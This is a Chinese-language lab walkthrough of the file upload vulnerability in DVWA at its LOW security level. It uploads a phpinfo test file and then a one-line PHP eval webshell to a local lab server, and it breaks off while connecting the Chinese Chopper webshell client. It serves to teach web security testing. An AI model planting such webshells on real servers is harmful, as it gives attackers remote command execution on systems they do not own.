DVWA--文件上传漏洞

文件上传漏洞定义
文件上传漏洞通常是由于上传文件的类型、内容没有进行严格的过滤检查，使得可以通过上传webshell获取服务器权限，因此文件上传漏洞带来的危害通常是毁灭性的。
文件上传漏洞的前提

1. 能上传的木马
2. 上传的木马可执行
3. 还要清楚上传后的路径

实现过程
LOW级别
源码

basename(path,suffix):返回path中的文件名部分，如果可选参数suffix为空，则返回的文件名中包含文件后缀名，反之不包含文件后缀名。
由源码可知暂时并没有进行任何过滤；
(1)创建1.php并上传
1.php：<?php phpinfo();?>

可发现上传成功，服务器未做任何限制，此时再次访问上传路径
http://192.168.254.128/dvwa/hackable/uploads/1.php#

上传并执行php文件，说明存在文件上传漏洞
(2)上传一句话木马
b.php：<?php @eval($_POST[cmd]);?>

http://192.168.254.128/dvwa/hackable/uploads/b.php#

页面没有报错说明上传成功
打开中国菜刀，并且写入路径<